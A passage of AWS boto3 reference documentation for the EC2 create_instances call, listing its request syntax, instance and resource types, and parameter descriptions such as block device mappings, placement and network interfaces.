terminates](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_InstanceStraightToTerminated.html) , and [Troubleshooting connecting to your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesConnecting.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RunInstances) + +**Request Syntax** + +instance = ec2.create_instances( + BlockDeviceMappings=[ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + ImageId='string', + InstanceType='t1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + Ipv6AddressCount=123, + Ipv6Addresses=[ + { + 'Ipv6Address': 'string' + }, + ], + KernelId='string', + KeyName='string', + MaxCount=123, + MinCount=123, + Monitoring={ + 'Enabled': True|False + }, + Placement={ + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'PartitionNumber': 123, + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string' + }, + RamdiskId='string', + SecurityGroupIds=[ + 'string', + ], + SecurityGroups=[ + 'string', + ], + SubnetId='string', + UserData='string', + AdditionalInfo='string', + ClientToken='string', + DisableApiTermination=True|False, + DryRun=True|False, + EbsOptimized=True|False, + IamInstanceProfile={ + 'Arn': 'string', + 'Name': 'string' + }, + InstanceInitiatedShutdownBehavior='stop'|'terminate', + NetworkInterfaces=[ + { + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': [ + 'string', + ], + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'AssociateCarrierIpAddress': True|False, + 'InterfaceType': 'string', + 'NetworkCardIndex': 123 + }, + ], + PrivateIpAddress='string', + ElasticGpuSpecification=[ + { + 'Type': 'string' + }, + ], + ElasticInferenceAccelerators=[ + { + 'Type': 'string', + 'Count': 123 + }, + ], + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + LaunchTemplate={ + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + InstanceMarketOptions={ + 'MarketType': 'spot', + 'SpotOptions': { + 'MaxPrice': 'string', + 'SpotInstanceType': 'one-time'|'persistent', + 'BlockDurationMinutes': 123, + 'ValidUntil': datetime(2015, 1, 1), + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate' + } + }, + CreditSpecification={ + 'CpuCredits': 'string' + }, + CpuOptions={ + 'CoreCount': 123, + 'ThreadsPerCore': 123 + }, + CapacityReservationSpecification={ + 'CapacityReservationPreference': 'open'|'none', + 'CapacityReservationTarget': { + 'CapacityReservationId': 'string', + 'CapacityReservationResourceGroupArn': 'string' + } + }, + HibernationOptions={ + 'Configured': True|False + }, + LicenseSpecifications=[ + { + 'LicenseConfigurationArn': 'string' + }, + ], + MetadataOptions={ + 'HttpTokens': 'optional'|'required', + 'HttpPutResponseHopLimit': 123, + 'HttpEndpoint': 'disabled'|'enabled' + }, + EnclaveOptions={ + 'Enabled': True|False + } +) + +Parameters + +- **BlockDeviceMappings** (_list_) -- + + The block device mapping entries. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + - **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + - gp3 : 3,000-16,000 IOPS + - io1 : 100-64,000 IOPS + - io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + - **SnapshotId** _(string) --_ + + The ID of the snapshot. + + - **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + - gp2 and gp3 :1-16,384 + - io1 and io2 : 4-16,384 + - st1 : 500-16,384 + - sc1 : 500-16,384 + - standard : 1-1,024 + - **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + - **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + - **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + - **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + - **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + +- **ImageId** (_string_) -- The ID of the AMI. An AMI ID is required to launch an instance and must be specified here or in a launch template. +- **InstanceType** (_string_) -- + + The instance type. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: m1.small + +- **Ipv6AddressCount** (_integer_) -- + + [EC2-VPC] The number of IPv6 addresses to associate with the primary network interface. Amazon EC2 chooses the IPv6 addresses from the range of your subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + You cannot specify this option and the network interfaces option in the same request. + +- **Ipv6Addresses** (_list_) -- + + [EC2-VPC] The IPv6 addresses from the range of the subnet to associate with the primary network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + You cannot specify this option and the network interfaces option in the same request. + + - _(dict) --_ + + Describes an IPv6 address. + + - **Ipv6Address** _(string) --_ + + The IPv6 address. + +- **KernelId** (_string_) -- + + The ID of the kernel. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +- **KeyName** (_string_) -- + + The name of the key pair. You can create a key pair using [CreateKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateKeyPair.html) or [ImportKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportKeyPair.html) . + + Warning + + If you do not specify a key pair, you can't connect to the instance unless you choose an AMI that is configured to allow users another way to log in. + +- **MaxCount** (_integer_) -- + + **[REQUIRED]** + + The maximum number of instances to launch. If you specify more instances than Amazon EC2 can launch in the target Availability Zone, Amazon EC2 launches the largest possible number of instances above MinCount . + + Constraints: Between 1 and the maximum number you're allowed for the specified instance type. For more information about the default limits, and how to request an increase, see [How many instances can I run in Amazon EC2](https://aws.amazon.com/ec2/faqs/#How_many_instances_can_I_run_in_Amazon_EC2) in the Amazon EC2 FAQ. + +- **MinCount** (_integer_) -- + + **[REQUIRED]** + + The minimum number of instances to launch. If you specify a minimum that is more instances than Amazon EC2 can launch in the target Availability Zone, Amazon EC2 launches no instances. + + Constraints: Between 1 and the maximum number you're allowed for the specified instance type. For more information about the default limits, and how to request an increase, see [How many instances can I run in Amazon EC2](https://aws.amazon.com/ec2/faqs/#How_many_instances_can_I_run_in_Amazon_EC2) in the Amazon EC2 General FAQ. + +- **Monitoring** (_dict_) -- + + Specifies whether detailed monitoring is enabled for the instance. + + - **Enabled** _(boolean) --_ **[REQUIRED]** + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + +- **Placement** (_dict_) -- + + The placement for the instance. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + If not specified, an Availability Zone will be automatically chosen for you based on the load balancing criteria for the Region. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **GroupName** _(string) --_ + + The name of the placement group the instance is in. + + - **PartitionNumber** _(integer) --_ + + The number of the partition the instance is in. Valid only if the placement group strategy is set to partition . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **HostId** _(string) --_ + + The ID of the Dedicated Host on which the instance resides. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **SpreadDomain** _(string) --_ + + Reserved for future use. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + +- **RamdiskId** (_string_) -- + + The ID of the RAM disk to select. Some kernels require additional drivers at launch. Check the kernel requirements for information about whether you need to specify a RAM disk. To find kernel requirements, go to the AWS Resource Center and search for the kernel ID. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +- **SecurityGroupIds** (_list_) -- + + The IDs of the security groups. You can create a security group using [CreateSecurityGroup](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateSecurityGroup.html) . + + If you specify a network interface, you must specify any security groups as part of the network interface. + + - _(string) --_ +- **SecurityGroups** (_list_) -- + + [EC2-Classic, default VPC] The names of the security groups. For a nondefault VPC, you must use security group IDs instead. + + If you specify a network interface, you must specify any security groups as part of the network interface. + + Default: Amazon EC2 uses the default security group. + + - _(string) --_ +- **SubnetId** (_string_) -- + + [EC2-VPC] The ID of the subnet to launch the instance into. + + If you specify a network interface, you must specify any subnets as part of the network interface. + +- **UserData** (_string_) -- + + The user data to make available to the instance. For more information, see [Running commands on your Linux instance at launch](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html) (Linux) and [Adding User Data](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2-instance-metadata.html#instancedata-add-user-data) (Windows). If you are using a command line tool, base64-encoding is performed for you, and you can load the text from a file. Otherwise, you must provide base64-encoded text. User data is limited to 16 KB. + + > **This value will be base64 encoded automatically. Do not base64 encode this value prior to performing the operation.** + +- **AdditionalInfo** (_string_) -- Reserved. +- **ClientToken** (_string_) -- + + Unique, case-sensitive identifier you provide to ensure the idempotency of the request. If you do not specify a client token, a randomly generated token is used for the request to ensure idempotency. + + For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + Constraints: Maximum 64 ASCII characters + + This field is autopopulated if not provided. + +- **DisableApiTermination** (_boolean_) -- + + If you set this parameter to true , you can't terminate the instance using the Amazon EC2 console, CLI, or API; otherwise, you can. To change this attribute after launch, use [ModifyInstanceAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceAttribute.html) . Alternatively, if you set InstanceInitiatedShutdownBehavior to terminate , you can terminate the instance by running the shutdown command from the instance. + + Default: false + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **EbsOptimized** (_boolean_) -- + + Indicates whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal Amazon EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS-optimized instance. + + Default: false + +- **IamInstanceProfile** (_dict_) -- + + The IAM instance profile. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + - **Name** _(string) --_ + + The name of the instance profile. + +- **InstanceInitiatedShutdownBehavior** (_string_) -- + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + Default: stop + +- **NetworkInterfaces** (_list_) -- + + The network interfaces to associate with the instance. If you specify a network interface, you must specify any security groups and subnets as part of the network interface. + + - _(dict) --_ + + Describes a network interface. + + - **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to assign a public IPv4 address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. You cannot specify more than one network interface in the request. If launching into a default subnet, the default value is true . + + - **DeleteOnTermination** _(boolean) --_ + + If set to true , the interface is deleted when the instance is terminated. You can specify true only if creating a new network interface when launching an instance. + + - **Description** _(string) --_ + + The description of the network interface. Applies only if creating a network interface when launching an instance. + + - **DeviceIndex** _(integer) --_ + + The position of the network interface in the attachment order. A primary network interface has a device index of 0. + + If you specify a network interface when launching an instance, you must specify the device index. + + - **Groups** _(list) --_ + + The IDs of the security groups for the network interface. Applies only if creating a network interface when launching an instance. + + - _(string) --_ + - **Ipv6AddressCount** _(integer) --_ + + A number of IPv6 addresses to assign to the network interface. Amazon EC2 chooses the IPv6 addresses from the range of the subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + - **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses to assign to the network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + - _(dict) --_ + + Describes an IPv6 address. + + - **Ipv6Address** _(string) --_ + + The IPv6 address. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + If you are creating a Spot Fleet, omit this parameter because you can’t specify a network interface ID in a launch specification. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. Applies only if creating a network interface when launching an instance. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + - **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses to assign to the network interface. Only one private IPv4 address can be designated as primary. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + - _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + - **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + - **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses. You can't specify this option and specify more than one private IP address using the private IP addresses option. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + - **SubnetId** _(string) --_ + + The ID of the subnet associated with the network interface. Applies only if creating a network interface when launching an instance. + + - **AssociateCarrierIpAddress** _(boolean) --_ + + Indicates whether to assign a carrier IP address to the network interface. + + You can only assign a carrier IP address to a network interface that is in a subnet in a Wavelength Zone. For more information about carrier IP addresses, see Carrier IP addresses in the AWS Wavelength Developer Guide. + + - **InterfaceType** _(string) --_ + + The type of network interface. + + To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + If you are not creating an EFA, specify interface or omit this parameter. + + Valid values: interface | efa + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + +- **PrivateIpAddress** (_string_) -- + + [EC2-VPC] The primary IPv4 address. You must specify a value from the IPv4 address range of the subnet. + + Only one private IP address can be designated as primary. You can't specify this option if you've specified the option to designate a private IP address as the primary IP address in a network interface specification. You cannot specify this option if you're launching more than one instance in the request. + + You cannot specify this option and the network interfaces option in the same request. + +- **ElasticGpuSpecification** (_list_) -- + + An elastic GPU to associate with the instance. An Elastic GPU is a GPU resource that you can attach to your Windows instance to accelerate the graphics performance of your applications. For more information, see [Amazon EC2 Elastic GPUs](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + - _(dict) --_ + + A specification for an Elastic Graphics accelerator. + + - **Type** _(string) --_ **[REQUIRED]** + + The type of Elastic Graphics accelerator. For more information about the values to specify for Type , see [Elastic Graphics Basics](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html#elastic-graphics-basics) , specifically the Elastic Graphics accelerator column, in the _Amazon Elastic Compute Cloud User Guide for Windows Instances_ . + +- **ElasticInferenceAccelerators** (_list_) -- + + An elastic inference accelerator to associate with the instance. Elastic inference accelerators are a resource you can attach to your Amazon EC2 instances to accelerate your Deep Learning (DL) inference workloads. + + You cannot specify accelerators from different generations in 